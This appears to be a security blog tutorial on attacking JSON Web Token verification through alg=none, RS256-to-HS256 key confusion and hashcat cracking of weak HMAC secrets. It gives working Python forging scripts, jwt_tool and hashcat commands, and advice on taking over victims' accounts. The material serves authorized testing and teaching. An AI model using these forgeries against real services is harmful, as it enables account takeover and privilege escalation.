cd ../blog

JWT Attacks: alg=none, Key Confusion, and Weak Secrets

JSON Web Tokens fail open in spectacular ways when verification is sloppy. We cover algorithm confusion, the none attack, and crackable HMAC secrets.

A JSON Web Token is only as trustworthy as the code that verifies its signature, and that code fails open in a few well-known ways. Find a verifier that trusts the token's own alg header and you can mint a token for any user, including admin. This is the discovery and PoC playbook.

Finding it

Grab a valid token (login, then read it from the Authorization header, a cookie, or local storage) and decode the three base64url segments. The header tells you the algorithm; the payload tells you which claim drives authorization:

header:  {"alg":"HS256","typ":"JWT"}
payload: {"sub":"123","role":"user"}

Now probe the verifier's assumptions. The tells you are looking for:

  • Does it accept alg: none? (skips signature checking entirely)
  • Does it verify RS256 tokens but reuse the same key call for HS256? (algorithm confusion)
  • Is the HS256 secret short or a dictionary word? (offline cracking)
  • Does it ignore exp, or accept a token after a role downgrade? (stale claims)

Burp's JWT Editor extension and jwt_tool automate all of these checks against a captured token. A fast first pass is to run every mode at once and read the verdicts:

jwt_tool eyJ...captured... -M at     # tampering + all known attack checks

Proof of concept

alg=none

Rewrite the payload to escalate, set the algorithm to none, and drop the signature:

import base64, json
def b64(d): return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=")
header  = b64({"alg": "none", "typ": "JWT"})
payload = b64({"sub": "123", "role": "admin"})
forged  = header + b"." + payload + b"."   # note the trailing dot, empty sig
print(forged.decode())

Send it and watch for an admin-only resource to return 200. Try the case variants None, NONE, nOnE too — some libraries only blocklist the lowercase spelling.

Algorithm confusion (RS256 -> HS256)

If the service verifies with a public RSA key, fetch that key (often at /jwks.json or /.well-known/), then sign a forged token with HS256 using the public key bytes as the HMAC secret. A verifier that calls a generic verify(token, key) treats the public key as an HMAC key and your signature checks out:

jwt_tool eyJ...token... -X k -pk public.pem
# -X k performs the RS256->HS256 key-confusion attack and prints a forged token

Weak HMAC secret

For HS256 the whole scheme rests on the shared secret. Crack it offline from a single captured token:

hashcat -a 0 -m 16500 captured.jwt /usr/share/wordlists/rockyou.txt

Once hashcat prints the secret, forge anything. Re-sign a token with role: admin and sub set to a known admin id:

import jwt   # PyJWT
secret = "s3cr3t"          # recovered by hashcat
tok = jwt.encode({"sub": "1", "role": "admin"}, secret, algorithm="HS256")
print(tok)

Confirming impact

The clean proof is a privilege jump. Before forging, request an admin endpoint with your normal token and capture the 403. Then replay with the forged token and capture the 200 — same request, different token, different outcome. That before/after pair is the entire finding.

Useful escalations to demonstrate value:

  • Swap sub/user_id to a victim's id and read their data (horizontal takeover).
  • Flip role/is_admin/scope and reach administrative functions (vertical).
  • Show the forged token has no server-side revocation — nothing in the logs distinguishes it from a real one, and it stays valid until exp.

Capture the decoded forged header/payload and the privileged response. One forged admin token plus the matching denied-then-allowed requests proves it conclusively. Test only tokens issued to you on authorized targets.